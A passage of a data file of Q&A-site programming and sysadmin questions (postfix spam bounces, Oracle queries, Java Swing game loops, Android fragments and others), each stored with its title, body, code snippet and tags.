send could not be delivered, mostly to *.ru email addresses which I did not send
any mail to. I have my own webserver (postfix/dovecot) set up using this guide
(http://workaround.org/ispmail/lenny) but adjusted a little bit for Ubuntu. \nI
tested whether I am an Open Relay which I am apparently not. Now there are two
possible reasons for the above mentioned emails: Either I am sending out spam, or
somebody wants me to think that, correct?\nHow can I check this? \nI selected one
particular address that I supposedly send spam to. Then I searched my mail.log for
this entry. I found two blocks that record that somebody from the server connected
to my server and delivered some message to two different users. I cannot find an
entry reporting that anyone from my server send an email to that server. Does this
mean its just some mail to scare me or could it still have been send by me in the
first place?\nHere is one such block from the log (I replaced some confidential
stuff):\n\nI can provide more info if you tell me what you need to know. Thank you
for you help!\n", "Jun 26 23:23:28 mycustomernumber postfix/smtpd[29970]: connect
from mx.webstyle.ru[195.144.251.97]\nJun 26 23:23:29 mycustomernumber
postfix/smtpd[29970]: 044991528995: client=mx.webstyle.ru[195.144.251.97]\nJun 26
23:23:29 mycustomernumber postfix/cleanup[29974]: 044991528995: message-
id=<[email protected]>\nJun 26 23:23:29 mycustomernumber
postfix/qmgr[3369]: 044991528995: from=<>, size=2198, nrcpt=1 (queue active)\nJun
26 23:23:29 mycustomernumber amavis[28598]: (28598-11) ESMTP::10024
/var/lib/amavis/tmp/amavis-20110626T223137-28598: <> -> <[email protected]>
SIZE=2198 Received: from mycustomernumber.stratoserver.net ([127.0.0.1]) by
localhost
(rehmsen.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP for
<[email protected]>; Sun, 26 Jun 2011 23:23:29 +0200 (CEST)\nJun 26 23:23:29
mycustomernumber amavis[28598]: (28598-11) Checking: YakjkrdFq6A8 [195.144.251.97]
<> -> <[email protected]>\nJun 26 23:23:29 mycustomernumber
postfix/smtpd[29970]: disconnect from mx.webstyle.ru[195.144.251.97]\nJun 26
23:23:29 mycustomernumber amavis[28598]: (28598-11) lookup_sql_field(id) (WARN: no
such field in the SQL table), \"[email protected]\" result=undef\nJun 26
23:23:32 mycustomernumber postfix/smtpd[29979]: connect from
localhost.localdomain[127.0.0.1]\nJun 26 23:23:32 mycustomernumber
postfix/smtpd[29979]: 0A1FA1528A21: client=localhost.localdomain[127.0.0.1]\nJun 26
23:23:32 mycustomernumber postfix/cleanup[29974]: 0A1FA1528A21: message-
id=<[email protected]>\nJun 26 23:23:32 mycustomernumber
postfix/qmgr[3369]: 0A1FA1528A21: from=<>, size=2841, nrcpt=1 (queue active)\nJun
26 23:23:32 mycustomernumber postfix/smtpd[29979]: disconnect from
localhost.localdomain[127.0.0.1]\nJun 26 23:23:32 mycustomernumber amavis[28598]:
(28598-11) FWD via SMTP: <> -> <[email protected]>,BODY=7BIT 250 2.0.0 Ok,
id=28598-11, from MTA([127.0.0.1]:10025): 250 2.0.0 Ok: queued as 0A1FA1528A21\nJun
26 23:23:32 mycustomernumber amavis[28598]: (28598-11) Passed CLEAN,
[195.144.251.97] [195.144.251.97] <> -> <[email protected]>, Message-ID:
<[email protected]>, mail_id: YakjkrdFq6A8, Hits: 2.249, size: 2197,
queued_as: 0A1FA1528A21, 2882 ms\nJun 26 23:23:32 mycustomernumber
postfix/smtp[29975]: 044991528995: to=<[email protected]>,
relay=127.0.0.1[127.0.0.1]:10024, delay=3.3, delays=0.39/0.01/0.01/2.9, dsn=2.0.0,
status=sent (250 2.0.0 Ok, id=28598-11, from MTA([127.0.0.1]:10025): 250 2.0.0 Ok:
queued as 0A1FA1528A21)\nJun 26 23:23:32 mycustomernumber postfix/qmgr[3369]:
044991528995: removed\nJun 26 23:23:33 mycustomernumber postfix/smtp[29980]:
0A1FA1528A21: to=<[email protected]>, orig_to=<[email protected]>,
relay=mx3.hotmail.com[65.54.188.110]:25, delay=1.2, delays=0.15/0.02/0.51/0.55,
dsn=2.0.0, status=sent (250 <[email protected]> Queued mail for
delivery)\nJun 26 23:23:33 mycustomernumber postfix/qmgr[3369]: 0A1FA1528A21:
removed\nJun 26 23:26:49 mycustomernumber postfix/anvil[29972]: statistics: max
connection rate 1/60s for (smtp:195.144.251.97) at Jun 26 23:23:28\nJun 26 23:26:49
mycustomernumber postfix/anvil[29972]: statistics: max connection count 1 for
(smtp:195.144.251.97) at Jun 26 23:23:28\nJun 26 23:26:49 mycustomernumber
postfix/anvil[29972]: statistics: max cache size 1 at Jun 26 23:23:28\n", "postfix
smtp spam"], "87777": ["How can I reduce saturation on my wide gamut monitor to
have it display at sRGB levels?", "I recently bought an Eizo S2243W, which boasts a
wide gamut panel that displays 95% of AdobeRGB.\nThe thing is that, while color
aware applications are fine, most applications (including Windows 7 itself) are
displaying colors way too saturated. I understand why that is happening, the
display simply doesn't know how the signal that's coming in is rated color wise and
it just takes a full bright red (which may be intended as 100% in sRGB) as 95% in
AdobeRGB, which is its native range. \nNow my question is: is there a way to reduce
gamut space to sRGB (wasn't that something like 72% of AdobeRGB?) so that my
monitor produces colors like a 'normal' monitor?\nI have been fiddling with the
monitor controls but turning down the saturation and/or changing the gain just
doesn't cut it. While the colors look less saturated over all, there are still some
excessive colors and it just doesn't look natural over all.\nI was thinking that
perhaps a specific color profile that maps from would do the trick?\nEDIT: I figure
that almost everyone with a wide gamut display (with so many IPS panels on the
market nowadays that's no rarity anymore) would suffer from this problem. \n", "",
"windows-7 monitor colors color-profiles"], "5577185": ["Oracle Select Query Taking
Too Long", "We have an internal application based on .Net which calls certain
procedures in Oracle (10g). One of these queries is run to get in/out parameters of
these procedures. It's a pretty simple select query. But even under best of
circumstances it is taking 3 seconds. At lease few times a day it starts taking
more than 40 seconds and causes our .Net application to time out. Select query is:\
n\nThis query returns the in/out parameters of particular procedure.\
nresourcemanager_pkg is package name, p_search_roles is procedure name.\nWe call
this query for every database call for procedures.\nIs there anything which is
wrong with this query ? Any help will be greatly appreciated. Please let me know if
any additional information is required.\nThanks,\nVikalp Jain\n", "SELECT
a.argument_name,\n a.data_type,\n a.in_out,\n NVL
(a.data_length, 0) AS data_length,\n NVL (a.data_precision, 0) AS
data_precision,\n NVL (a.data_scale, 0) AS data_scale\n FROM
ALL_ARGUMENTS a, all_objects o\n WHERE o.object_id =\n (SELECT
object_id\n FROM all_objects\n WHERE UPPER
(object_name) = UPPER ('resourcemanager_pkg')\n AND
object_type = 'PACKAGE'\n AND owner = 'OFFICEDBA')\n
AND UPPER (a.object_name) = UPPER ('p_search_roles')\n AND a.OBJECT_ID =
o.OBJECT_ID\nORDER BY a.position ASC\n", ".net sql oracle query oracle10g"],
"4760140": ["ResourceBundle not Reloading with Glassfish 3", "Environment: JSF 2.0,
Glassfish 3.1.1,\nI have configured Internationalization in my application.\nEntry
added for resource bundle in one of the jsf page is:\n\nI have
ValidationMessages.properties file in classpath directly.\nNow I am repopulating
ValidationMessages.properties file using external utilities from the database. [As
and when I found any changes in database]\nFor reloading resource bundle using
latest properties file, I am calling following method.\n\nAbove Configuration is
working fine in Jetty 7 & 8 and I am getting latest values on the page but same
configuration is not working in Glassfish 3.\nIs there any extra configuration
requires for Glassfish 3?\n", "<f:loadBundle var=\"msg\"
basename=\"ValidationMessages\"/>\n", "jsf-2 glassfish-3"], "2721435": ["Java and
Swing with a game loop", "(Not so) short question here. I am working on making a
simple roguelike using Swing as the UI rather than the console (Which makes it
easier to work with in Eclipse, among other things) but I seem to have hit a
roadblock.\nWhat I am having trouble with is that when I enter the game loop, the
UI will not display properly. I get an ugly window frame that gives me the
'solitaire' effect during the entire thing and while running it quickly grows in
RAM usage. \nAm I missing something critical about Swing here? Is it mandatory that
I use Swing's concurrency setup to do this? If so, what would be the best
approach?\nThe full code is below:\n\n", "package roguelike;\n\nimport
java.awt.Color;\nimport java.awt.Dimension;\nimport java.awt.Font;\nimport
java.awt.FontMetrics;\nimport java.awt.event.KeyEvent;\nimport
java.awt.event.KeyListener;\nimport java.util.LinkedList;\n\nimport javax.swing.*;\
nimport javax.swing.text.*;\n\npublic class roguelike {\n Color c_black = new
Color(0x000000);\n Color c_white = new Color(0xffffff);\n Color c_red = new
Color(0xff0000);\n Color c_blue = new Color(0x0000ff);\n Color c_green = new
Color(0x00ff00);\n\n UI ui = null;\n Player me = null;\n Map gamemap =
null;\n LinkedList<Character> keyqueue = new LinkedList<Character>();\n\n int
charheight = 20;\n int charwidth = 80;\n\n public static void main(String[]
args){\n SwingUtilities.invokeLater(new Runnable(){\n public void
run(){\n roguelike game = new roguelike();\n
game.run();\n }\n });\n }\n public roguelike(){\n
gamemap = new Map();\n ui = new UI(charheight,charwidth,\"Monospaced\");\n
me = new Player();\n }\n private class UI extends JFrame implements
KeyListener{\n private static final long serialVersionUID =
9065411532125953842L;\n JPanel disp_screen = null;\n JTextPane
disp_screen_text = null;\n StyledDocument disp_doc = null;\n Font
mono_norm = null;\n int pxheight = 0;\n int pxwidth = 0;\n
String[][] ctemp = new String[charheight][charwidth];\n String[][] stemp =
new String[charheight][charwidth];\n\n\n public UI(int h,int w,String
fontname){\n setVisible(true);\n charheight = h;\n
charwidth = w;\n addKeyListener(this);\n\n
this.setResizable(false);\n mono_norm = new Font(fontname,0,25);\n
initScreen(h,w);\n add(disp_screen);\n makeStyles();\n
try {\n
disp_doc.insertString(0, \"12345678901234567890123456789012345678901234567890123456
789012345678901234567890\\n2\\n3\\n4\\n5\\n6\\n7\\n8\\n9\\n10\\n11\\n12\\n13\\n14\\
n15\\n16\\n17\\n18\\n19\\n20\", disp_doc.getStyle(\"Default\"));\n }
catch (BadLocationException e) {\n e.printStackTrace();\n
}\n\n Dimension temp = disp_screen.getSize();\n
this.setSize(temp);\n this.setDefaultCloseOperation(EXIT_ON_CLOSE);
\n\n\n pack();\n try {\n disp_doc.remove(0,
disp_doc.getLength());\n } catch (BadLocationException e) {\n
e.printStackTrace();\n }\n
renderMap(gamemap.getText(),gamemap.getStyles());\n\n }\n @Override\n
public void keyPressed(KeyEvent e) {\n //
TODO Auto-generated method stub\n\n }\n @Override\n public
void keyReleased(KeyEvent e) {\n // TODO Auto-generated method stub\n\n
}\n @Override\n public void keyTyped(KeyEvent e) {\n
keyqueue.add(e.getKeyChar());\n }\n private void initScreen(int
height, int width){\n FontMetrics metric = getFontMetrics(mono_norm);\n
String temp = null;\n\n //generate a string of the right width from
which to grab metrics\n for(int x=0;x<=width;x++){\n temp
+= '.';\n }\n pxwidth =
SwingUtilities.computeStringWidth(metric, temp);\n pxheight =
(metric.getHeight())*charheight;\n\n disp_screen = new JPanel();\n
disp_screen_text = new JTextPane();\n
disp_screen_text.setEditable(false);\n
disp_screen_text.setAlignmentX(LEFT_ALIGNMENT);\n
disp_screen_text.setAlignmentY(TOP_ALIGNMENT);\n
disp_screen_text.setFont(mono_norm);\n
disp_screen_text.setBackground(c_black);\n
disp_screen_text.setForeground(c_green);\n disp_doc =
disp_screen_text.getStyledDocument();\n\n\n
disp_screen.add(disp_screen_text);\n
disp_screen.setAlignmentX(LEFT_ALIGNMENT);\n
disp_screen.setAlignmentY(TOP_ALIGNMENT);\n disp_screen.setLayout(new
BoxLayout(disp_screen,BoxLayout.Y_AXIS));\n }\n private void
makeStyles(){\n //The default style removes all special formatting and
returns the text to standard nonsense\n Style sty_default =
disp_doc.addStyle(\"Default\", null);\n
StyleConstants.setFontFamily(sty_default, \"Monospaced\");\n
StyleConstants.setFontSize(sty_default, 18);\n
StyleConstants.setForeground(sty_default, c_green);\n
StyleConstants.setBackground(sty_default, c_black);\n
StyleConstants.setItalic(sty_default, false);\n
StyleConstants.setBold(sty_default, false);\n
//StyleConstants.setSpaceAbove(sty_default, 0);\n
//StyleConstants.setSpaceBelow(sty_default, 0);\n\n //The following
styles apply certain effects. They are meant to be set without replacing styles\n
Style sty_bold = disp_doc.addStyle(\"Bold\", disp_doc.getStyle(\"Default\"));\n
StyleConstants.setBold(sty_bold,true);\n\n Style sty_ital =
disp_doc.addStyle(\"Italic\", disp_doc.getStyle(\"Default\"));\n
StyleConstants.setItalic(sty_ital, true);\n\n }\n private void
clearMap(){\n try {\n disp_doc.remove(0,
disp_doc.getLength());\n } catch (BadLocationException e1) {\n
e1.printStackTrace();\n }\n try {\n //CLEAR
THE MAP\n //For every row...\n for(int
y=0;y<charheight;y++){\n //For every column location in a
row...\n for(int x=0;x<charwidth;x++){\n
disp_doc.insertString(disp_doc.getLength(),\".\", disp_doc.getStyle(\"Default\"));\
n }\n
disp_doc.insertString(disp_doc.getLength(),\"\\n\",
disp_doc.getStyle(\"Default\"));\n }\n } catch
(BadLocationException e){\n e.printStackTrace();\n }\
n }\n public void renderMap(String[][] chars, String[][] styles){\n
System.out.print(\"Rendering map...\");\n clearMap();\n ctemp
= chars;\n stemp = styles;\n\n try {\n\n //For
every row...\n for(int y=0;y<charheight;y++){\
n //For every column location in a row...\n
for(int x=0;x<charwidth;x++){\n if(ctemp[y][x] != null){\n
if(stemp[y][x] == \"D\"){\n
disp_doc.remove((y*charwidth)+x, 1);\n
disp_doc.insertString((y*charwidth)+x,ctemp[y][x],
disp_doc.getStyle(\"Default\"));\n } else if(stemp[y][x]
== \"B\"){\n disp_doc.remove((y*charwidth)+x, 1);\n
disp_doc.insertString((y*charwidth)+x,ctemp[y][x], disp_doc.getStyle(\"Bold\"));\n
} else if(stemp[y][x] == \"I\"){\n
disp_doc.remove((y*charwidth)+x, 1);\n
disp_doc.insertString((y*charwidth)+x,ctemp[y][x], disp_doc.getStyle(\"Italic\"));\
n } else{\n
disp_doc.remove((y*charwidth)+x, 1);\n
disp_doc.insertString((y*charwidth)+x,ctemp[y][x],
disp_doc.getStyle(\"Default\"));\n }\n
}\n }\n }\n } catch
(BadLocationException e){\n e.printStackTrace();\n
System.err.print(e.getCause());\n }\n }\n }\n\n //Handles
the virtualized information of characters on the map. Does NOT handle display of
map on screen\n //Displaying the screen happens by passing required data to the
ui member\n private class Map{\n //Holds an array of map characters\n
String[][] text = new String[charheight][charwidth];\n //Holds an array of
styles associated with each map character\n String[][] styles = new
String[charheight][charwidth];\n\n\n public Map(){\n }\n
public String[][] getText(){\n\n return text;\n }\n public
String[][] getStyles(){\n return styles;\n }\n public void
putch(String thing, String styledef,int y, int x){\n text[y][x] =
thing;\n styles[y][x] = styledef;\n }\n }\n\n private class
Player{\n //Player location, [y][x]\n int[] location = {0,0};\n
String sym = \"@\";\n public Player(){\n }\n public int[]
getLocation(){\n return location;\n }\n public String
getSymbol(){\n return sym;\n }\n public void
setLocation(int y, int x){\n location[0]=y;\n location[1]=x;\
n }\n public void setSymbol(String newsym){\n sym =
newsym;\n }\n public void move(int dir){\n //Movement will
be handled in an 8 directional fashion\n //North is 1, like below\n
// 812\n // 703\n // 654\
n //////////////////////\n switch(dir){\n case
0:\n break;\n case 1:\n
location[0] += 1;\n break;\n case 2:\n
location[0] += 1;\n location[1] += 1;\n
break;\n case 3:\n location[1] += 1;\n
break;\n case 4:\n location[0] -= 1;\n
location[1] += 1;\n break;\n case 5:\n
location[0] -= 1;\n break;\n case 6:\n
location[0] -= 1;\n location[1] -= 1;\n
break;\n case 7:\n location[1] -= 1;\n
break;\n case 8:\n location[0] += 1;\n
location[1] -= 1;\n default:\n
System.err.print(\"ERROR! \"+dir+\" is not a valid direction!\");\n
break;\n }\n }\n }\n\
n /////////////////////////////////////////////////////\n
/////////////FUNCTIONS///////////////////////////////\
n /////////////////////////////////////////////////////\n public void run(){\
n boolean running = true;\n while(running){\n //Render
Map\n gamemap.putch(me.getSymbol(), \"D\", me.getLocation()[0],
me.getLocation()[1]);\n ui.renderMap(gamemap.getText(),
gamemap.getStyles());\n try {\n Thread.sleep(1000);\n
} catch (InterruptedException e) {\n e.printStackTrace();\n
}\n //Wait for player input\n if(keyqueue.isEmpty()){\n
continue;\n }\n //Act on input\n else{\n
char input = keyqueue.getFirst();\n keyqueue.removeFirst();\n
if(input == 'w'){\n me.move(1);\n }\n
if(input =='a'){\n me.move(7);\n }\n
if(input == 's'){\n me.move(5);\n }\n
if(input == 'd'){\n me.move(3);\n }\
n }\n }\n\n }\n}\n", "java swing game-loop roguelike"],
"4382600": ["Reading From an Eventlog Programatticly", "Hey Folks.\nI have an app
that writes to the windows event log.\nNow i want the same app to be able to read
the event log an process the info that is in there.\nI use my own dll to do my
reading and writing. The Code for the Reading:\n\nHere is the code i use to handle
the eventlog\n\nNow when i try and do something with the returned Log i get an
exception.\nI get the exception when i use \nWhy do i get the error, and what is
the best way to deal with it?\n", " public static EventLog getEventLog(string
Source, string Log)\n {\n using(EventLog ev = new EventLog(Log,
System.Environment.MachineName, Source))\n {\n if
(ev.Entries.Count <= 0)\n {\n return null;\n
}\n else \n { \n return ev; \n\
n } \n }\n }\n", ".net c#-3.0 event-log"],
"1095718": ["Most efficient way to return string concatenation from property", "Ive
read a few posts on here and the common suggestion is that stringbuilder is the
most efficent if joining over three strings. \nall variables are other
properties.\n\nIm joining four, is a simple concatenation suitable or should I ue
stringbuilder? Just seems a little overkill.\n", "public string Summary\n{\n get \
n {\n return Name.Replace(\"_\", \" \") + \"<strong>[\" + Total + \" Devices
- \" + BadCount + \" Offline, \" + PendingCount + \" Pending]</strong>\";\n }\n}\
n", "c# string concatenation stringbuilder"], "4444978": ["secure disk-based
queue?", "I'm looking at polyglot web server & queue implementations, ala Mongrel2
(based on ZeroMQ), gWan or resorting to direct queue mechanisms like RabbitMQ,
ZeroMQ, etc.\nOne method we'd used (ages ago in the CGI era) was a volatile queue
on a RAM disk (fast), shared via NFS. Basically a directory on the server became a
hash of files. Any type of persistent process could tackle a particular queue item
& return a result. That was all great & groovy, but the queue items weren't
secure/private. \nThere must be a reason this old method isn't used anymore, in
favor of sockets & in-memory hashes.\nThe downsides as I see them:\n1) Overhead:
System calls to the OS, either checking for a request or result (lack of a call-
back feature). \n2) Security: If every request needs to be secure, it'd require
session-level encryption (volatile Diffie-Hellman keys). A DH key set would require
session key storage/retrieval on the server side, but then dynamic content of any
secure nature entails a data store (with only innate column-level security, not
row-level security).\n3) A MITM attack could be accomplished by attacking the
queue?\n4) Tuning problems... setting the poll intervals so that the server appears
responsive, and yet suffers the fewest failed requests. Possibly a stats-based
self-tuning heuristic necessary.\nThe upside:\n0) Persistent stackless processes
wouldn't carry instantiation overheads (all CGI, some WSGI, other adapter techs). \
n1) A RAM-disk NFS share could scale out, with the front-end webserver functioning
as its own passive load-balancing proxy.\n2) Queue Replication & fail-over features
easily implemented.\n3) It's a poor man's crude hack to accomplish what's already
being done (reinventing wheels on the internet must be a good thing b/c everybody
does it...). This could be a downside item.\n4) Logging of the process steps is
built into the queue states, as the queue could be replayed, etc.\n5) Any OS, any
web server can be made to work with it either via a lightweight C file handler or
as a file gateway interface.\n6) The queue doesn't care about state (rollbacks),
questions or answers, no traditional transactional queue overheads.\n7) Any fool
can use it without significant porting of API or middleware. A simple file I/O
binary is basic enough to port on any platform, for any server. \n8) I've read of
security concerns w/ other cache & queue infrastructures, and it appears that
they're all suffering security concerns within the queue middleware. The answer may
well be DH keypairs.\n", "", "web queue message-queue nfs ramdisk"], "3653110":
["Adding #pragma make_public(Type) not removing C3767 error", "I have an
Assembly(A) which defines a Managed class which has a public constructor that takes
two native types.\nI have access to the Header files and compiled lib files which
contain the native types.\nI created a project and defined a which contains a
single method that returns a public type defined in (A).\nWhen I try to contstruct
by passing in a native type I receive the `C3767 'YourType::TypeB': Candidate
function(s) not accessible.\nI've added for the native types and any type they
derive from but still not joy.\nMy class header:\n\nMy cpp file:\n\nI've looked and
the managed type `AssemblyAType' has a public constructor with this signature.
Can't seem to get the pragma to work??\nSo to summarize.\nMy C++/CLI project
references a 3rd party Assembly that defines a type which takes a native type in
its constructor. My project also has the header/lib files added/linked to.\nNote:
my code above isn't exactly what I've got but I've stripped out the pertinent
parts.\n", "C++/CLI", "visual-studio-2010 c++-cli"], "4386853": ["Greeting
program", "hello well I have been learning how to program in python using the book
python the absolute beginners. The problem i am having is when using the eclipse-
pydev it won't allow me to use the \"if\" statement. Here is the code I have
written.\n\nthe result was \n\nWhen i do my \"if\" statement i put:\n\nThe result
was:\n\n", "name = input(\"What is your name? \")\nprint(name)\nprint(\"Hello\"
name )\n", "python eclipse if-statement new-operator pydev"], "2794641": ["Three
fragment within viewpager", "I have this problem as you can see in the pictures
below:\n1) http://imageshack.us/photo/my-images/19/schermata20120512a09444.png/\n2)
http://imageshack.us/photo/my-images/651/schermata20120512a09444.png/\nI have done
one viewpager with three fragment , but when scroll, I see one of them, i would see
two fragments.\nmy cose is:\npublic class FragmentProjetSwipePageActivity extends
FragmentActivity {\n\n}\n }\nPagerAdapter.java\npublic class PagerAdapter
extends FragmentPagerAdapter {\n\n}\nthanks\n", "// derived from
http://thepseudocoder.wordpress.com/2011/10/05/android-page-swiping-using-
viewpager/\n\n\n// list contains fragments to instantiate in the viewpager\
nList<Fragment> fragmentsV1 = new Vector<Fragment>();\n\n// page adapter between
fragment list and view pager\nprivate PagerAdapter mPagerAdapter;\n// view pager\
nprivate ViewPager mPager;\n\n\n// activity data\npublic String p2text,p3text;\n\
n@Override\nprotected void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.main);\n\n\n //
creating fragments and adding to list\n
fragmentsV1.add(Fragment.instantiate(this,Page1Fragment.class.getName()));\n
fragmentsV1.add(Fragment.instantiate(this,Page2Fragment.class.getName()));\n
fragmentsV1.add(Fragment.instantiate(this,Page3Fragment.class.getName()));\n\n\n\n
// creating adapter and linking to view pager\n mPager = (ViewPager)
super.findViewById(R.id.pager1);\n this.mPagerAdapter = new
PagerAdapter(super.getSupportFragmentManager(),fragmentsV1,this );\n
mPager.setAdapter(this.mPagerAdapter);\n\n\n //Set a listener that will be
invoked whenever the page changes or is incrementally scrolled.\n", "android
android-fragments android-viewpager"], "2433296": ["What are the most useful plug-
ins for developing C# apps (and web apps) with Visual Studio?", "What are the most
useful plug-ins for developing C# apps (and web apps) with Visual Studio? I'm
trying to get a flavor for the things that I'm missing so that I can evaluate
buying licenses for VS Pro, and then possibly some plug tools.\nI know of these
tools (plug-ins) Resharper, SemanticDesigns, DevExpress, DPack, and I'm sure there
are a few for SVN, etc.\nAre there others though that one might insist are \"must
haves\", or just highly recommend?\n", "", "visual-studio plugins"], "10766":
["what's the easiest way to put space between 2 side-by-side buttons in asp.net",
"I have 2 buttons side by side, and I would like to have some inbetween them.\
nFollowing code will have 2 buttons right next to each other. I have tried margin
for the div, and just couldn't get some nice space between the two. \n\n", "<div
style=\"text-align: center\"> \n <asp:Button ID=\"btnSubmit\" runat=\"server\"
Text=\"Submit\" Width=\"89px\" OnClick=\"btnSubmit_Click\" />\n <asp:Button
ID=\"btnClear\" runat=\"server\" Text=\"Clear\" Width=\"89px\"
OnClick=\"btnClear_Click\" />\n</div>\n", "html css button space"], "5308759":
["Using ERB in IronRuby engine", "I would like to use IronRuby with the ERB system
to parse .erb format files and get the output.\nIn ruby this would be like:\n\nBut
this just doesnt work in my IronRuby project. I get an exception about the erb file
being missing... so I guess this is a libraries issue. I then initiated my Ruby
engine with the paths to my IronRuby directories, which then throws a different
exception:\n\nAny body able to help??\n", "require \"erb\"\nerbContent = \"...\"\
nreturn ERB.new(erbContent,0,\"%<>\").result\n", "hosting engine erb ironruby"],
"3201032": ["Using BibTeX with letter class", "I'm trying to use BibTeX with a
letter; I hope this is not too eccentric. The letter class doesn't have BibTeX
support, though. I found Environment thebibliography undefined when using letter.
However, the solution described does not work perfectly. The bibliography appears
on its own page (in my case it is just two entries), and the numbering is out of
order with the plain style ie. [2] appears before [1] in the letter.\nCan these
issues be fixed? Alternatively, what are my choices? Could I use another letter
class? Some time ago I posted to comp.text.tex, and the people there were rather
despising about the letter class, and pointed me to various alternatives which they
said were better. Do any of these alternatives have built-in BibTeX support?\
nEDIT1: Both the problems mentioned above were user error.\n\nThe wrong order, as
pointed out by Joseph, was because I was using the \n style.\nThe bibliography on a
separate page was because I put the \n and entries after closing the environment
instead of\n before. Again, Joseph's example was helpful in setting me straight.\n\
nIn summary, there is nothing wrong with the original post, though no doubt
Joseph's version is an improvement, and is certainly shorter. Both the original
version and
Joseph's version work fine for me. I put the text in Joseph's post between and
into a separate sty file when using it with my letter.\nEDIT2: Adding to the
preamble breaks the compile. Whether I put it before or after the \"homemade\" bib
sty file doesn't make a difference. I get\n\n", "plain", "bibtex letters"],
"3498918": ["How to build up a lookup table in microcontroller?", "I am so confused
about how to build up a 3-dimension lookup table.\nIs the template as follows:\
ncreate a 3 dimensional array to store data. Then create linked list. Then create
function 'insert' to put all the data into the array?\nAs some book said, linked
list should be static const, is it need to create another function to expand the
list?\nBecause the lookup table should be used in a microcontroller, it only needs
to finish the operation of putting the data into the array and whenever want to
find the data, it will be fast and easy to search.\nCould you help me with that and
give me some suggestions?\nThank you.\n", "", "table lookup"], "3088162": ["How to
call tab Onclick and OnTabChange for same tab", "In my project, I have two tabs and
a button. For two tabs,I have two activities and button calling different activity.
the thing is I am showing result of button on first tab. i.e tab0 is active on
tab0Event and on button click event too. And am able to change the tab events using
tabHost.setOnTabChangedListener, but now what i further want is, say suppose i
click on button so now button view is displaying(tab0 is active) but again if i
click on tab0, tab0 activity should be displayed.\nI tried many solutions for
clicking on tab, one is\n\nBut when i used this code with tabChnageListner, tab
change not working and i got very unexpected results.\nWould you please suggest
solution for my problem.\nThanks.\ncode that is working for tab changed is as:
(working fine for tab change, need to add Tab Onclick in it)\n\n",
"getTabWidget().getChildAt(getTabHost().getCurrentTab()).setOnClickListener\n
(new View.OnClickListener() {\n\n @Override public void onClick(View v) {\n
System.out.println(getTabHost().getCurrentTab());\n\n } });\n", "android
android-tabhost android-tabactivity"], "3474563": ["datagrid property list is not
available in VB.net", "I have a datagrid, and i use to access its values like:\n\
nhowever this thing is perfectly fine, but now i just created a new form and when i
tried to access this property of its not available.\nDoes anyone have idea, whats
the issue?\nTo be more precise when i am typing it shows me as highlighted like
in sky blue color.\n", "userName = frm_main.datagrid1.Item(1, 0).Value.ToString",
"winforms list properties datagridview vb.net-2010"], "2433297": ["SQLite File
validation", "Have a quick question. I am using a SQLite database file in my C#
application. At the moment it is not password protected. But it will be in case it
is needed as a solution for my question.\nQuestion is is there is a way I can check
is the SQLite file in associate with my application is a real SQLite file or not. I
am doing a,\n\nFile.Exists (filepath) \n\ncheck at the moment which works fine. But
it is possible that someone can create a file with my file extension so how can I
verify that it is a valid Sqlite file ????\nThanks in advance !\n", "", "c#
database sqlite sqlite3"], "1785984": ["Can I bring a Win2003 server back up on
different hardware using the same disks?", "I have a Windows 2003 server that has
hung twice in the last two weeks - the second time after less than 2 hours up.
There is nothing at all in the Event Viewer to indicate any failures. For a freeze
like that with no disk errors, I suspect some kind of failure in my server
hardware.\nMy server is a semi-generic 1U Supermicro with an Adaptec RAID 1
controller. I'm running two SATA 500gb drives in RAID 1.\nI have an older but
functional Dell server box that I'm not using right now; however I don't believe it
has the same Adaptec RAID controller. (I'm actually not sure, but for the moment
I'm assuming not.) I'm trying to figure out whether I can take a disk out of my
failing hardware and bring the Win 2003 server back up on the Dell hardware.\nThis
breaks into two sub questions:\n1) If I take a disk that was part of a RAID 1 set,
is there a way to boot that on the Dell server assuming the Dell doesn't have
RAID?\n2) How picky is Windows Server about the hardware? Will it detect that
things have change and boot successfully on different hardware?\nAnd is there
anything else I should be aware of?\n", "", "windows-server-2003 raid"], "400303":
["Deal with window messages using meta programming", "I am in the process of
learning how to wrap some basic WinAPI functionality (like window creation). I
wrote a wrapper class for window classes and one for a basic window.\nIn the
implementation of my window procedure I have kept closely to the message router
described in this link: Creating a Win32 Window Wrapper.\nIt is the idea of passing
the pointer of my basic window class to the function and attach it to the window
using . The message router is passed as a window procedure to each window class I
create and it calls the window procedures each window has as a private function.
(The message router is friends with my basic window class)\nMy main problem now is
how I am supposed to deal with the messages my window gets. I dislike the solution
the author uses in the link above since I find it annoying work if I have to
register a callback function for each window message I want to deal with. I also
want to deal with those messages in a separete controller class and not the window
class itself. \nIn my head the optimal solution would be:\n\nFrom there on I would
love the window to figure out by itself for which messages the controller provides
callbacks.\nI had a few ideas already:\n\nHave an abstract base class for a
controller which has prototypes for various callback functions. But this way I
would have to deal with them in every controller even if I do not need them (I do
not have to deal with WM_PAINT in a plain edit control for example.) So this is too
rigid.\nLet each controller have a function which returns an array / vector of
unsigned ints that tells the window which messages are dealt with by the
controller. This is annoying though since I must not forget updating the vector
each time I add a new callback function for another message to the controller.
Another drawback of this method is that I either have to save this vector in the
class or request it from the controller each time the windows window procedure gets
called and I have to search the vector whether or not it contains the message the
window received.\nMy most recent idea is some kind of preprocessing. Since I am not
considering to change the controller for a window during runtime I thought this
could be a case where preprocessing or even meta programming could be useful. I
only read a few articles about meta programming and do not have too much of a clue
about it but I think it might be a suitable solution. What I have thought of is the
following:\n\nIn my controller I want to add some kind of qualifier to my callback
functions. Something similar to \nThen I want the compiler to generate an if
statement in the windows window procedure that calls the function whenever it
receives the WM_PAINT message. This would save me the runtime checks on a vector /
array and make it quite painless and still flexible to write my controller. \n\n\
nPersonally I would love something in the way I described in 3. Unfortunatly as I
mentioned before my skills in meta programming are near to non-existent. I hope
that some of you can push me into the right direction.\n[EDIT]\nAfter a good nights
sleep I might be able to explain even better what I am looking for.\nI have a
class that is fully known at compile-time. It is supposed to look somewhat like
this:\n\nIn my class I have a window procedure that gets called by the message
router as described above. It looks somewhat like:\n\nMy main problem is that I do
not know if and / or how this is possible to do. Maybe I could clarify my problem a
little further.\n", "this", "c++ winapi metaprogramming wrapper template-meta-
programming"], "2958961": ["How much information does a geotagged picture contain ?
or specifically can contain?", "This is an open ended question. With the
capabilities of current geo-enabled phones and cameras (based on gps) when a geo-
